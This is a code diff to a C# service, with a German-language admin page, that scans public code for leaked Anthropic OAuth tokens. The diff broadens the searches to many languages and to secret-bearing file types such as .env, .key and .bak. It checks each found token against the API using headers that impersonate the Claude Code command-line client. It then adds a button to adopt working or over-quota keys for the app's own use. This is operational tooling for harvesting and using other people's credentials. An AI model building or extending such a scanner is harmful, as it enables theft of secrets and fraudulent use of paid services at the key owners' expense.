diff --git a/Endpoints/ApiKeysEndpoint.cs b/Endpoints/ApiKeysEndpoint.cs index 851a773..2f2e0da 100644 --- a/Endpoints/ApiKeysEndpoint.cs +++ b/Endpoints/ApiKeysEndpoint.cs @@ -211,7 +211,7 @@ public static class ApiKeysEndpoint await ctx.Response.WriteAsJsonAsync(new { - status = result.Status == "ok" ? "ok" : "error", + status = (result.Status == "ok" || result.Status == "usage_limited") ? "ok" : "error", message = result.Message, keyType = result.Plan, result.IsSubscription, diff --git a/Services/AnthropicKeyChecker.cs b/Services/AnthropicKeyChecker.cs index eb7b019..65b46e6 100644 --- a/Services/AnthropicKeyChecker.cs +++ b/Services/AnthropicKeyChecker.cs @@ -25,6 +25,8 @@ namespace Gott.Services public static class AnthropicKeyChecker { + private const string CheckModel = "claude-sonnet-4-20250514"; + public static async Task CheckKeyAsync(IHttpClientFactory httpFactory, string apiKey) { try @@ -34,30 +36,45 @@ namespace Gott.Services var payload = JsonSerializer.Serialize(new { - model = "claude-sonnet-4-20250514", + model = CheckModel, max_tokens = 1, messages = new[] { new { role = "user", content = "hi" } } }); var request = new HttpRequestMessage(HttpMethod.Post, "https://api.anthropic.com/v1/messages"); - request.Headers.Add("x-api-key", apiKey); + request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", apiKey); request.Headers.Add("anthropic-version", "2023-06-01"); + request.Headers.Add("anthropic-beta", "claude-code-20250219,oauth-2025-04-20"); + request.Headers.Add("User-Agent", "claude-cli/2.1.2 (external, cli)"); + request.Headers.Add("x-app", "cli"); + request.Headers.Add("anthropic-dangerous-direct-browser-access", "true"); request.Content = new StringContent(payload, Encoding.UTF8, "application/json"); var resp = await client.SendAsync(request); var statusCode = (int)resp.StatusCode; + var headers = resp.Headers; if (statusCode == 401) - return new KeyCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)", Plan = "Unknown" }; - if (statusCode == 429) + { + var has7d = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization"); + var has5h = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization"); + if (has7d == null && has5h == null) + return new KeyCheckResult { Status = "invalid", Message = "Ungültig oder abgelaufen (401)", Plan = "Unknown" }; + } + else if (statusCode == 429) + { return new KeyCheckResult { Status = "rate_limited", Message = "Rate Limited (429)", Plan = "Unknown" }; - if (statusCode == 403) + } + else if (statusCode == 403) + { return new KeyCheckResult { Status = "quota_exceeded", Message = "Insufficient Quota (403)", Plan = "Unknown" }; - if (statusCode >= 400) + } + else if (statusCode >= 400) + { return new KeyCheckResult { Status = "error", Message = $"API-Fehler ({statusCode})", Plan = "Unknown" }; + } - // Key gültig – Header auslesen - var headers = resp.Headers; + // Header auslesen var d7Util = GetHeader(headers, "anthropic-ratelimit-unified-7d-utilization", "unified-7d-utilization"); var d5hUtil = GetHeader(headers, "anthropic-ratelimit-unified-5h-utilization", "unified-5h-utilization"); var overageUtil = GetHeader(headers, "anthropic-ratelimit-unified-overage-utilization", "unified-overage-utilization"); @@ -81,7 +98,8 @@ namespace Gott.Services var result = new KeyCheckResult { - Status = "ok", + Status = statusCode == 401 ? "usage_limited" : "ok", + Message = statusCode == 401 ? "Gültig, aber Usage-Limit erreicht (401)" : null, Plan = plan, IsSubscription = isSubscription, Status7d = d7Status, diff --git a/Services/KeyScannerService.cs b/Services/KeyScannerService.cs index 439bf22..abcf238 100644 --- a/Services/KeyScannerService.cs +++ b/Services/KeyScannerService.cs @@ -40,7 +40,20 @@ public class KeyScannerService : BackgroundService (@"sk-ant-oat01-[A-Za-z0-9_\-]{95}", "sk-ant-oat01"), }; - private static readonly string[] SearchLanguages = { "Dotenv" }; + private static readonly string[] SearchLanguages = + { + "Dotenv", "Text", "JavaScript", "Python", "TypeScript", + "Dockerfile", "Markdown", "Jupyter Notebook", "Shell", + "Java", "Go", "C++", "PHP" + }; + + private static readonly string[] PathExtensions = + { + ".env", ".envrc", ".prod", ".secret", ".private", ".key", + ".xml", ".json", ".properties", ".sql", ".txt", ".log", + ".yml", ".yaml", ".toml", ".ini", ".config", ".conf", ".cfg", + ".tmp", ".backup", ".bak", ".enc", + }; private const int RateLimitDelayMs = 6_500; private const int MaxResultsPerSearch = 1000; @@ -348,6 +361,11 @@ public class KeyScannerService : BackgroundService var langFilter = lang.Contains(' ') ? $"language:\"{lang}\"" : $"language:{lang}"; queries.Add(($"{searchTerm} {langFilter}", regex)); } + + foreach (var pathExt in PathExtensions) + { + queries.Add(($"{searchTerm} path:{pathExt}", regex)); + } } return queries; } @@ -359,7 +377,8 @@ public class KeyScannerService : BackgroundService try { var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey); - await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, result.Status == "ok" ? "valid" : result.Status, result.Plan, result.Usage7d, result.Usage5h); + var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status; + await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h); } catch (Exception ex) { diff --git a/wwwroot/css/form.css b/wwwroot/css/form.css index da35b3e..d45f432 100644 --- a/wwwroot/css/form.css +++ b/wwwroot/css/form.css @@ -584,10 +584,13 @@ label.skill-item { .admin-user-info { display: flex; flex-direction: column; + overflow: hidden; } .admin-user-name { font-weight: bold; + overflow: hidden; + text-overflow: ellipsis; } .admin-user-meta { diff --git a/wwwroot/js/pages/api-keys-page.js b/wwwroot/js/pages/api-keys-page.js index b7fabdd..caf9254 100644 --- a/wwwroot/js/pages/api-keys-page.js +++ b/wwwroot/js/pages/api-keys-page.js @@ -332,8 +332,8 @@ registerPage('api-keys', { }); actions.appendChild(recheckBtn); - // Übernehmen (nur bei valid) - if (sk.status === 'valid') { + // Übernehmen (bei valid oder quota_exceeded) + if (sk.status === 'valid' || sk.status === 'quota_exceeded') { var adoptBtn = document.createElement('button'); adoptBtn.className = 'icon-btn'; adoptBtn.title = 'Als API-Key übernehmen'; @@ -387,13 +387,13 @@ registerPage('api-keys', { if (!pollTimer) { pollTimer = setInterval(async function() { var st = await apiScanStatus(); + await loadScannedKeys(); if (!st.running) { clearInterval(pollTimer); pollTimer = null; scanBtn.disabled = false; scanBtn.innerHTML = ' Jetzt scannen'; scanStatusEl.textContent = st.lastResult ? '✅ ' + st.lastResult : ''; - await loadScannedKeys(); } }, 3000); }